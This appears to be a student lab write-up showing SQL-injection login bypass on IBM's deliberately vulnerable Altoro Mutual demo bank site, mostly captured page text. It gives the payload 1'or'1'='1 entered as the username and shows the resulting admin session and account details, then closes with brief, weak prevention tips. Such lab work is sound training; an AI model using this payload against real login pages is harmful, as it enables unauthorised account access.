

Task#5

- To perform Bypass Authentication on <https://demo.testfire.net> using payload.

Open <https://demo.testfire.net> on Web browser

Altoro Mutual

Sign In | Contact Us | Feedback | Search Go

DEMO SITE ONLY

ONLINE BANKING LOGIN

PERSONAL

- Deposit Product
- Checking
- Loan Products
- Cards
- Investments & Insurance
- Other Services

SMALL BUSINESS

- Deposit Products
- Lending Services
- Cards
- Insurance
- Retirement
- Other Services

INSIDE ALTORO MUTUAL

- About Us
- Contact Us
- Locations
- Investor Relations
- Press Room
- Careers
- Subscribe

Online Banking with FREE Online Bill Pay

No stamps, envelopes, or checks to write give you more time to spend on the things you enjoy.

Real Estate Financing

Fast. Simple. Professional. Whether you are preparing to buy, build, purchase land, or construct new space, let Altoro Mutual's premier real estate lenders help with financing. As a regional leader, we know the market, we understand the business, and we have the track record to prove it

Business Credit Cards

You're always looking for ways to improve your company's bottom line. You want to be informed, improve efficiency and control expenses. Now, you can do it all - with a business credit card account from Altoro Mutual.

Retirement Solutions

Retaining good employees is a tough task. See how Altoro Mutual can assist you in accomplishing this feat through effective Retirement Solutions.

Privacy and Security

The 2000 employees of Altoro Mutual are dedicated to protecting your privacy and security. We pledge to provide you with the information and resources that you need to help secure your information and keep it confidential. This is our promise.

Win a Samsung Galaxy S10 smartphone

Completing this short survey will enter you in a draw for 1 of 5 Samsung Galaxy S10 smartphones! We look forward to hearing your important feedback.

Privacy Policy | Security Statement | Server Status Check | REST API | © 2021 Altoro Mutual, Inc.

This web application is open source! [Get your copy from GitHub](#) and take advantage of advanced features

The AltoroJ website is published by IBM Corporation for the sole purpose of demonstrating the effectiveness of IBM products in detecting web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided "as is" without warranty of any kind.

Task#5

Now go to login page

Altoro Mutual x +

Not secure | http://demo.testfire.net/login.jsp

[Sign In](#) | [Contact Us](#) | [Feedback](#) | Search

AltoroMutual

DEMO SITE ONLY

ONLINE BANKING LOGIN	PERSONAL	SMALL BUSINESS	INSIDE ALTORO MUTUAL
<p>PERSONAL</p> <ul style="list-style-type: none">Deposit ProductCheckingLoan ProductsCardsInvestments & InsuranceOther Services <p>SMALL BUSINESS</p> <ul style="list-style-type: none">Deposit ProductsLending ServicesCardsInsuranceRetirementOther Services <p>INSIDE ALTORO MUTUAL</p> <ul style="list-style-type: none">About UsContact UsLocationsInvestor RelationsPress RoomCareersSubscribe	<h3>Online Banking Login</h3> <p>Username: <input type="text"/></p> <p>Password: <input type="password"/></p> <p><input type="button" value="Login"/></p>		

[Privacy Policy](#) | [Security Statement](#) | [Server Status Check](#) | [REST API](#) | © 2021 Altoro Mutual, Inc.

This web application is open source! [Get your copy from GitHub](#) and take advantage of advanced features

The AltoroJ website is published by IBM Corporation for the sole purpose of demonstrating the effectiveness of IBM products in detecting web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided "as is" without warranty of any kind, either express or implied. IBM does not assume any risk in relation to your use of this website. For more information, please go to <http://www->

Task#5

Now use payload in username and password.

The payload used in this case is “ 1'or'1'='1 ”

Altoro Mutual

Sign In | Contact Us | Feedback | Search

DEMO SITE ONLY

ONLINE BANKING LOGIN

PERSONAL SMALL BUSINESS INSIDE ALTORO MUTUAL

PERSONAL

- Deposit Product
- Checking
- Loan Products
- Cards
- Investments & Insurance
- Other Services

SMALL BUSINESS

- Deposit Products
- Lending Services
- Cards
- Insurance
- Retirement
- Other Services

INSIDE ALTORO MUTUAL

- About Us
- Contact Us
- Locations
- Investor Relations
- Press Room
- Careers
- Subscribe

Online Banking Login

Username: 1'or'1'='1

Password:

Login

Privacy Policy | Security Statement | Server Status Check | REST API | © 2021 Altoro Mutual, Inc.

This web application is open source! [Get your copy from GitHub](#) and take advantage of advanced features

The AltoroJ website is published by IBM Corporation for the sole purpose of demonstrating the effectiveness of IBM products in detecting web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided "as is" without warranty of any kind, either express or implied. IBM does not assume any risk in relation to your use of this website. For more information, please go to <http://www->

Task#5

We are now logged in as administrator account

The screenshot shows the Altoro Mutual website interface. The browser address bar displays "http://demo.testfire.net/bank/main.jsp". The page features the Altoro Mutual logo and a navigation bar with links for "Sign Off", "Contact Us", "Feedback", and a search bar. A "DEMO SITE ONLY" banner is visible on the right. The main content area is titled "Hello Admin User" and includes a welcome message, a "View Account Details" section with a dropdown menu set to "800000 Corporate" and a "GO" button, and a "Congratulations!" message stating that the user has been pre-approved for an Altoro Gold Visa with a credit limit of \$100,000. A sidebar on the left contains links for "MY ACCOUNT" and "ADMINISTRATION". The footer includes a disclaimer about the website being a demonstration of IBM products and a copyright notice for 2008, 2021, IBM Corporation.

Altoro Mutual

Sign Off | Contact Us | Feedback | Search [] Go

MY ACCOUNT | PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

I WANT TO ...

- View Account Summary
- View Recent Transactions
- Transfer Funds
- Search News Articles
- Customize Site Language

ADMINISTRATION

- Edit Users

Hello Admin User

Welcome to Altoro Mutual Online.

View Account Details: 800000 Corporate GO

Congratulations!

You have been pre-approved for an Altoro Gold Visa with a credit limit of \$100,000!
Click [Here](#) to apply.

Privacy Policy | Security Statement | Server Status Check | REST API | © 2021 Altoro Mutual, Inc.
This web application is open source! Get your copy from GitHub and take advantage of advanced features

The Altoro website is published by IBM Corporation for the sole purpose of demonstrating the effectiveness of IBM products in detecting web application vulnerabilities and website defects. This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental. This site is provided "as is" without warranty of any kind, either express or implied. IBM does not assume any risk in relation to your use of this website. For more information, please go to <http://www-142.ibm.com/software/products/us/en/subcategory/SW110>.

Copyright © 2008, 2021, IBM Corporation, All rights reserved.

We can see all the account details and edit users

The screenshot shows the "Account History - 800000 Corporate" page. The browser address bar displays "http://demo.testfire.net/bank/showAccount?listAccounts=800000". The page features the Altoro Mutual logo and a navigation bar with links for "Sign Off", "Contact Us", "Feedback", and a search bar. A "DEMO SITE ONLY" banner is visible on the right. The main content area is titled "Account History - 800000 Corporate" and includes a "Balance Detail" section with a dropdown menu set to "800000 Corporate" and a "Select Account" button, and a table showing the ending balance as of 8/4/21 2:06 AM and the available balance. Below this is a section for "10 Most Recent Transactions" with a table showing dates, descriptions, and amounts. At the bottom is a section for "Credits" with a table showing account numbers, dates, descriptions, and amounts. A sidebar on the left contains links for "MY ACCOUNT" and "ADMINISTRATION".

Altoro Mutual

Sign Off | Contact Us | Feedback | Search [] Go

MY ACCOUNT | PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL

I WANT TO ...

- View Account Summary
- View Recent Transactions
- Transfer Funds
- Search News Articles
- Customize Site Language

ADMINISTRATION

- Edit Users

Account History - 800000 Corporate

Balance Detail

800000 Corporate	Select Account	Amount
Ending balance as of 8/4/21 2:06 AM		\$52243383.61
Available balance		\$52243383.61

10 Most Recent Transactions

Date	Description	Amount
2021-08-04	Withdrawal	-\$10.00
2021-08-04	Withdrawal	-\$10.00
2021-08-04	Withdrawal	-\$1000.00
2021-08-04	Withdrawal	-\$10.00
2021-08-04	Withdrawal	-\$10.00
2021-08-04	Withdrawal	-\$10.00

Credits

Account	Date	Description	Amount
1001160140	12/29/2004	Paycheck	1200
1001160140	01/12/2005	Paycheck	1200
1001160140	01/29/2005	Paycheck	1200

Task#5

To Prevent Payload Bypass:-

- **Use strong Data management system.**
- **Use firewall**
- **Quick bug fixes and identify vulnerabilities as soon as possible.**